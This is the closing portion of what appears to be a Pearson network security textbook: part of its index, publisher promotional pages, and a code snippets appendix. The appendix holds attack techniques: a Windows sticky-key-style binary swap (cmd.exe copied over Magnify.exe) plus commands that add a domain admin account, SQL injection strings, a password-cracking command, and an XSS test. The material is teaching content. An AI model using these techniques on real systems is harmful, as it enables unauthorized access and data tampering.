McAfee, 248–250

Norton AntiVirus, 251–254

Panda, 257

- armored, [244](#)
- boot sector, [66](#), [244](#)
- defined, [20](#), [61](#), [237](#)
- economic impact of, [63](#)
- encrypted, [244](#)
- FakeAV, [54](#)
- Flame, [54](#)
- future of, [241](#)
- Gameover Zeus, [55–56](#), [240](#)
- investigating, [260](#)
- Kedi RAT, [241](#)
- Mac, [55](#)
- macro, [66](#), [244](#)
- memory-resident, [244](#)
- Mirai, [241](#)
- motivations behind, [64](#)
- multipartite, [244](#)
- MyDoom, [20](#), [54–55](#), [68](#)
- Outlook script, [58](#)
- polymorphic, [66](#), [245](#)
- prevalence of, [236–237](#)
- removing, [260](#)
- Rombertik, [240](#)
- security policies for, [302](#)
- Shamoon, [240](#)
- Sobig, [62–63](#)

- sparse infector, 66, 244
- spread of, 61–62, 237–239, 259–260
- stealth, 66–67, 244
- stopping, 259–260
- system security for, 259
- types of, 244–245
- virulence of, 62
- virus hoaxes, 64–65, 241
 - Jdbgmgr, 241–242
 - tax return hoax, 242–243
 - W32.Torch hoax, 243
- virus scanning, 65
 - active code scanning, 247
 - download scanning, 246
 - e-mail and attachment scanning, 246
 - file scanning, 246–247
 - heuristic scanning, 247
 - instant message scanning, 247–248
 - virus scanner software, 245–246
- virus variations, 63–64
- worms, 53
 - defined, 237
 - Zafi, 239–240

Visual Basic for Applications (VBA), 58, 66

visual inspection, 422

voluntary tunneling, 180

VPNs (virtual private networks), 176–177

basic technology, 177–178

Cisco solutions, 191

configuration, 192–194

defined, 177

FreeS/WAN, 191–192

illustration of, 177

protocols

CHAP (Challenge Handshake Authentication Protocol), 181

EAP (Extensible Authentication Protocol), 180

IPSec (Internet Protocol Security), 187–188

Kerberos, 183–186

L2TP (Layer 2 Tunneling Protocol), 181–187

MS-CHAP, 182

PAP (Password Authentication Protocol), 182–183

PPTP (Point-to-Point Tunneling Protocol),
178–181

SPAP (Shiva Password Authentication Protocol),
183

SSL (Secure Sockets Layer), 188–190

TLS (Transport Layer Security), 188–190

service solutions, 191

vulnerabilities

CVE (Common Vulnerabilities and Exposures), 341

NIST (National Institute of Standards and

Technology), 341
OWASP (Open Web Application Security Project),
341
vulnerability assessment, 399
vulnerability scanners. *See* network scanning

W

W32.Torch hoax, 243
walkthroughs of DRPs (disaster recovery plans),
387
WannaCry, 243
war-dialing, 22
war-driving, 22
WatchGuard Technologies, 82
web servers, Apache, 41–42
Webopedia, 180
white hat hackers, 26, 397
White Supremacist movement, cyber attacks by,
452
whitelisting, 84
WhoIS, 9
Wi-Fi, 433
 hacking, 415–416
 WPS (Wi-Fi Protected Setup), 415
WikiLeaks, 453

Williamson, Malcolm J. 156–157

Windows 10 Firewall, 102–103

Windows configuration, 203

accounts

administrator accounts, 206–207

ASP.NET, 207

database, 207

IUSR_Machine name accounts, 207

user access/privileges, 207–208

viewing, 203–205

Apache installation on, 42

commands

fc, 431

gpedit, 208

ipconfig, 11–12

net sessions, 430

net start servicename, 219

net stop servicename, 219

netstat, 13, 432

openfiles, 431

ping, 12–13

telnet, 410

tracert, 13, 50

EFS (Encrypting File System), 219–222

registry settings, 211, 432–433

additional settings, 216

- anonymous access, 214–215
- default shares, 215
- null session access, 213–214
- remote access, 216
- TCP/IP stack settings, 215
- viewing, 211–213

security policies

- account lockout policies, 210
- organizational policies, 211
- password policies, 208–210

security templates, 222–223

services, 216

- firewalls, 219
- port filtering, 219
- shutting down, 217–219

system logs, 426–427

VPN Server setup, 192–194

Windows Server 2016, 203

Windows Update, 318

WinGate proxy server, 92–93

WinZapper, 427

Wireshark, 462–463

worms, 53, 239–240

- defined, 237

- Zafi, 239–240

WPS (Wi-Fi Protected Setup), 415

Writing Trusted Facility Manuals (DoD), 366

X-Y

X.509, 159–160

XOR operation, 146–147

Yellow Book (DoD), 366, 367

Z

Zafi, 239–240

ZenMap, 406

ZENWorks Patch Management, 318

Zero Spyware, 283

Zheng, Yuliang, 162

Zone Alarm Firewall, 79

Zone Labs, 90

Zygalski, Henryk, 145



REGISTER YOUR PRODUCT at [PearsonITcertification.com/register](https://www.pearsonitcertification.com/register)
Access Additional Benefits and SAVE 35% on Your Next Purchase

- Download available product updates.
- Access bonus material when applicable.
- Receive exclusive offers on new editions and related products.
(Just check the box to hear from us when setting up your account.)
- Get a coupon for 35% for your next purchase, valid for 30 days. Your code will be available in your PITC cart. (You will also find it in the Manage Codes section of your account page.)

Registration benefits vary by product. Benefits will be listed on your account page under Registered Products.

PearsonITcertification.com—Learning Solutions for Self-Paced Study, Enterprise, and the Classroom
Pearson is the official publisher of Cisco Press, IBM Press, VMware Press, Microsoft Press, and is a Platinum CompTIA Publishing Partner—CompTIA's highest partnership accreditation. At **PearsonITcertification.com** you can

- Shop our books, eBooks, software, and video training.
- Take advantage of our special offers and promotions ([pearsonitcertification.com/promotions](https://www.pearsonitcertification.com/promotions)).
- Sign up for special offers and content newsletters ([pearsonitcertification.com/newsletters](https://www.pearsonitcertification.com/newsletters)).
- Read free articles, exam profiles, and blogs by information technology experts.
- Access thousands of free chapters and video lessons.

Connect with PITC – Visit [PearsonITcertification.com/community](https://www.pearsonitcertification.com/community)
Learn about PITC community events and programs.



PEARSON IT CERTIFICATION

Addison-Wesley • Cisco Press • IBM Press • Microsoft Press • Pearson IT Certification • Prentice Hall • Que • Sams • VMware Press

ALWAYS LEARNING

PEARSON

Code Snippets

```
iptables -A INPUT -p tcp --dport ssh -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -I INPUT 5 -m limit --limit 5/min -j LOG --log-prefix "iptables denied: "
--log-level 7
```

```
0BD181063899C9239016320B50D3E896693A96DF  
john -wordfile:/usr/dict/words -rules passwd
```

```
# This will overwrite /etc/issue at every boot. So, make any changes you
# want to make to /etc/issue here or you will lose them when you reboot.
#echo "" > /etc/issue
#echo "$R" >> /etc/issue
#echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue
#
#cp -f /etc/issue /etc/issue.net
#echo >> /etc/issue
Remove the following files: "issue.net" and "issue" under "/etc" directory:
[root@kapil /]# rm -f /etc/issue
[root@kapil /]# rm -f /etc/issue.net
```

```

fdisk -l | grep NTFS
mkdir -p /mnt/windows
mount -t ntfs-3g /dev/sda1 /mnt/windows

cd /mnt/windows/Windows/System32
mv Magnify.exe Magnify.bck

cp cmd.exe Magnify.exe and reboot

net user /domain /add localaccountname password
net group /domain "Domain Admins" /add localaccount

'SELECT * FROM tblUsers WHERE USERNAME = ' + txtUsername.Text + ' AND PASSWORD =
' + txtPassword.Text + '"
SELECT * FROM tblUsers WHERE USERNAME = 'admin' AND PASSWORD = 'password'
SELECT * FROM tblUsers WHERE USERNAME = 'admin' AND PASSWORD = 'password' OR X=X'

' or '1' ='1 and firstname <> 'john
' or '1' ='1 and not firstname = 'john
' or '1' ='1 and firstname <> 'john' and firstname <> ' bob
' or '1' ='1 and not firstname = 'john' and not firstname = 'john
x'; UPDATE members SET email = 'me@somewhere.net' WHERE email = 'somebody@example.com

Telnet <IP Address> <Port 80>
HEAD /HTTP/1.0
<Return>
<Return>

<script>alert("Test My Site.")</script>

```